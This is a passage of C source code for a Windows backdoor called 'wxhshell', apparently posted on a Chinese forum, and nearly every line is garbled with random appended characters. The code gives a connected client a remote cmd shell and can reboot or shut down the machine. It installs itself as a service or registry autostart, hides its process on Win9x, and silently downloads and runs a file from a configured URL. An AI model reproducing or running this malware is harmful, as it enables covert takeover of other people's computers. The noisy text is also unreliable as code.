    switch(cmd[0]) { 9ybR+dGm+  
  Z(c SM  
  // 帮助 ;Us6:}s  
  case '?': { SQ> Yf\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :t!J 9  
    break; PvV\b<Pe+  
  } rgCC3TX  
  // 安装 /klo),|&  
  case 'i': { ~y"R{-%uS  
    if(Install()) Bj2iYk_cLa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{CIP`P1  
    else [[^r;XKQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0@b<?Ms9  
    break; $peL1'Evo  
    } XrTc5V  
  // 卸载 h ChO  
  case 'r': { 9C,gJp}P  
    if(Uninstall()) NpZ'pBl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9ThsR&h3  
    else Qx E%C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ty~Sf-Pri  
    break; -M6vg4gf  
    } EiC["M'}  
  // 显示 wxhshell 所在路径 g]HxPq+O  
  case 'p': { A\rY~$Vr  
    char svExeFile[MAX_PATH]; T_c`=3aO  
    strcpy(svExeFile,"\n\r"); !p+rU?  
      strcat(svExeFile,ExeFile); EeQ8Uxb7  
        send(wsh,svExeFile,strlen(svExeFile),0); y'8T=PqY[t  
    break; \G v\&_  
    } > `eo0  
  // 重启 faLfdUimJ  
  case 'b': { Q+K]:c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uc!6?+0h  
    if(Boot(REBOOT)) _){u5%vv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |tI{MztJ"c  
    else { B&X)bGx8  
    closesocket(wsh); J+ :3== ,  
    ExitThread(0); 6Zw$F3 <  
    } ]wV\=m?z&  
    break; 2N &B  
    } }])j>E  
  // 关机 [7`S`\_NK  
  case 'd': { Pfvb?Hy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uv$5MwKU  
    if(Boot(SHUTDOWN)) $aTo9{M^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n,O!29  
    else { i=b'_SZ '  
    closesocket(wsh); @]X!#&2>  
    ExitThread(0); 9mMQ  
    } C'A D[`p  
    break; 8b,Z)"(U3  
    } >^9j>< Z  
  // 获取shell !lEV^SQJs  
  case 's': { }.|a0N 5  
    CmdShell(wsh); ZU B]qzmK  
    closesocket(wsh); fy>3#`T-  
    ExitThread(0); !$iwU3~<  
    break; Z%.L d2Q{  
  } x?{l<mc  
  // 退出 lxXF8c>U  
  case 'x': { 5C`Vno~v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ',FVT4OMw  
    CloseIt(wsh); QrmGrRH  
    break; lp$,`Uz`  
    } 6tVp%@  
  // 离开 @Kbj:S ;m  
  case 'q': { CWp>8@v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [C 7X#|  
    closesocket(wsh); <MhODC")  
    WSACleanup(); ZyC[w 7$I2  
    exit(1); ct*~\C6Ze  
    break; ?=iy 6q  
        } 7[kDc-  
  } C\C*@9=&x  
  } 0""%@X]m  
^JIs:\ g<<  
  // 提示信息 GF<SQHL,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w"Zws[pm]  
} z9AX8k(B6  
  } E0r#xmk  
P6^\*xkMr  
  return; }darXtZKkK  
} Pa\yp?({q  
G7-.d/8|^  
// shell模块句柄 K)`l > o1  
int CmdShell(SOCKET sock) xWQQX  
{ M _Lj5`  
STARTUPINFO si; W7V#G(cpU  
ZeroMemory(&si,sizeof(si)); sDHFZ:W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `kOp9(Q{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i}:^<jDv?  
PROCESS_INFORMATION ProcessInfo; ,+n{xI2  
char cmdline[]="cmd"; 5iItgVTW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gavf$be  
  return 0; V,tYqhQ3  
} :VRQd}$Pi  
Q;2k bVWY  
// 自身启动模式 J0@#xw=+  
int StartFromService(void) ,tFLx#e#  
{ ir )~T0  
typedef struct Vc|QW  
{ Mm"0Ip2"  
  DWORD ExitStatus; +{ e2TY  
  DWORD PebBaseAddress; b Oh[(O!  
  DWORD AffinityMask; ` NvJ  
  DWORD BasePriority; Bb5RZ#oa  
  ULONG UniqueProcessId; ;2eZa|M*q  
  ULONG InheritedFromUniqueProcessId; `@ Ont+  
}   PROCESS_BASIC_INFORMATION; QN~9O^  
-Ze2]^#dl  
PROCNTQSIP NtQueryInformationProcess; g31\7\)Ir  
6O'B:5~[2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eNt1P`2[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LCpS}L;  
? i|LO  
  HANDLE             hProcess; 5m6I:s`pK  
  PROCESS_BASIC_INFORMATION pbi; s)~H_,  
/$ueLa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  D z>7.'3  
  if(NULL == hInst ) return 0; +JFE\>O  
7}e{&\0=l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SC0_ h(zb,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z2\Xe~{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4L6'4t"s  
0_map z  
  if (!NtQueryInformationProcess) return 0; H 4W4# \M  
n<7R6)j6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QW@`4W0F  
  if(!hProcess) return 0; G?yG|5.pU  
1FEY&rpR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :+S~N)0j^  
(>x_fDv  
  CloseHandle(hProcess); -f[95Z3}  
M}F) P&Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #>\8m+h 9  
if(hProcess==NULL) return 0; v/7iu*u  
F, p~O{ Q  
HMODULE hMod; dr7ry"5Zq  
char procName[255]; :j#Fq d[DF  
unsigned long cbNeeded; (=i+{ 3`|  
DKf:0E8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %MUwd@,  
<~!R|5sK  
  CloseHandle(hProcess); !Ry4 w|w  
:E9@9>3S  
if(strstr(procName,"services")) return 1; // 以服务启动 k<NEauQ  
Z0%Qy+%  
  return 0; // 注册表启动 7(= 09z  
} K~>ESMZ5  
3/((7O[  
// 主模块 < G:G/  
int StartWxhshell(LPSTR lpCmdLine) ob.=QQQs  
{ w!^{Q'/,Q  
  SOCKET wsl; PP)-g0^@  
BOOL val=TRUE; W[tX%B  
  int port=0; ::rKW *?  
  struct sockaddr_in door; -}*YfwK  
MXU8QVSY"  
  if(wscfg.ws_autoins) Install(); lAPvphO  
L9)nRV8  
port=atoi(lpCmdLine); vb Mv8Nk  
];o[Yn'>o  
if(port<=0) port=wscfg.ws_port; ~~'UQnUN4  
h/n&& J  
  WSADATA data; :s OsG&y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kFHtZS(  
n$y)F} .-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4!KUPgg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OmX(3>:9  
  door.sin_family = AF_INET; eyGY8fF8$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]p2M!N,?  
  door.sin_port = htons(port); ,] ,dOIOwn  
9W <I~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >w"k:O17  
closesocket(wsl); CwVORf,uA  
return 1; 42: 6=\  
} PKM8MYvo  
9Iod[ x  
  if(listen(wsl,2) == INVALID_SOCKET) { nE3'm[)  
closesocket(wsl); UjU*`}k3  
return 1; tZ ]/?+1G  
} }[OOkYF#r  
  Wxhshell(wsl); zLiFk<G@Xi  
  WSACleanup(); 7R=cxD&  
-?$Hr\  
return 0; z!GLug*j`  
qEoa%O  
} ?xuhN G@  
J,k|_JO  
// 以NT服务方式启动 oopACE>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g"iLhm` L  
{ u/BCl!`  
DWORD   status = 0; }vbs6u  
  DWORD   specificError = 0xfffffff; o4"7i 9+g  
]D;X"2I2'b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ( o_lH2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MZX-<p+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'bXm,Ed  
  serviceStatus.dwWin32ExitCode     = 0; 1c} %_Z/  
  serviceStatus.dwServiceSpecificExitCode = 0; A%pBvULH  
  serviceStatus.dwCheckPoint       = 0; #X(KW&;m  
  serviceStatus.dwWaitHint       = 0; .;0?r9  
Ol~j q;75  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jCMr[ G=  
  if (hServiceStatusHandle==0) return; AVys`{*c  
$i+ 1a0%n  
status = GetLastError(); Uva b*9vX  
  if (status!=NO_ERROR) (*Jcx:rH  
{ .(0'l@#fT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aAr gKM f  
    serviceStatus.dwCheckPoint       = 0; v/E_A3Ay&  
    serviceStatus.dwWaitHint       = 0; y[s* %yP3l  
    serviceStatus.dwWin32ExitCode     = status; 8)D5loS  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ck|3DiRQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !kl9X-IiI  
    return; S WYIQ7*  
  } L"akV,w4p  
y%21`y&Os  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q7 ;TdQ  
  serviceStatus.dwCheckPoint       = 0; $Xf gY1S  
  serviceStatus.dwWaitHint       = 0; &ESE?{of)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SG{> t*E  
} ;L5'3+U  
u2SnL$A7  
// 处理NT服务事件,比如:启动、停止 #l6L7u0~wC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s^]F4'  
{ WvN!8*XFM  
switch(fdwControl) y^#jM  
{ Tk hu,  
case SERVICE_CONTROL_STOP: Su0[f/4m.Q  
  serviceStatus.dwWin32ExitCode = 0; $\|$ekil4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p1 9j  
  serviceStatus.dwCheckPoint   = 0; \o-Q9V  
  serviceStatus.dwWaitHint     = 0; 1Y"[Qs]"mU  
  { v(T;Y=&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y7yh0r_  
  } 4Lo8Eue  
  return; {jX h/`  
case SERVICE_CONTROL_PAUSE: Z^w}: {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p#9.lFSX  
  break; w a!g/ \  
case SERVICE_CONTROL_CONTINUE: |-Z9-rl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MOuI;EF  
  break; >g ]S"ku|  
case SERVICE_CONTROL_INTERROGATE: aN7VGc  
  break; ZE@!s3\  
}; 30(O]@f~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Rc'1sCth-  
} xD}ha  
2},|RQETy  
// 标准应用程序主函数 QfuKpcT &  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `zNvZm-E  
{ p!MOp-;-  
}xx[=t=nUf  
// 获取操作系统版本 IS`1}i$1%  
OsIsNt=GetOsVer(); Ixhe86-:T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NrE&w H:  
t> J 43  
  // 从命令行安装 ANNfL9:Jy  
  if(strpbrk(lpCmdLine,"iI")) Install(); pJC@}z^cw  
 PK#; \Zw  
  // 下载执行文件 _7(>0GY  
if(wscfg.ws_downexe) { aHosu=NK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ctpr.  
  WinExec(wscfg.ws_filenam,SW_HIDE); bDa(@QJ-  
} #{)=%5=c  
=} Np0UP  
if(!OsIsNt) { )1%l$W  
// 如果时win9x,隐藏进程并且设置为注册表启动 >5{Z'UWxh  
HideProc(); [HJ^'/bB'  
StartWxhshell(lpCmdLine); >yC1X|d~t  
} +$KUy>  
else Np4';H  
  if(StartFromService()) Hmt} @  
  // 以服务方式启动 DBuvbq-  
  StartServiceCtrlDispatcher(DispatchTable); KJPCO0"  
else \$Xo5f<  
  // 普通方式启动 12\h| S~  
  StartWxhshell(lpCmdLine); !Pf_he  
<0OZ9?,dm  
return 0; >=|Dir  
}
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只看该作者 1 发表于: 2006-10-10
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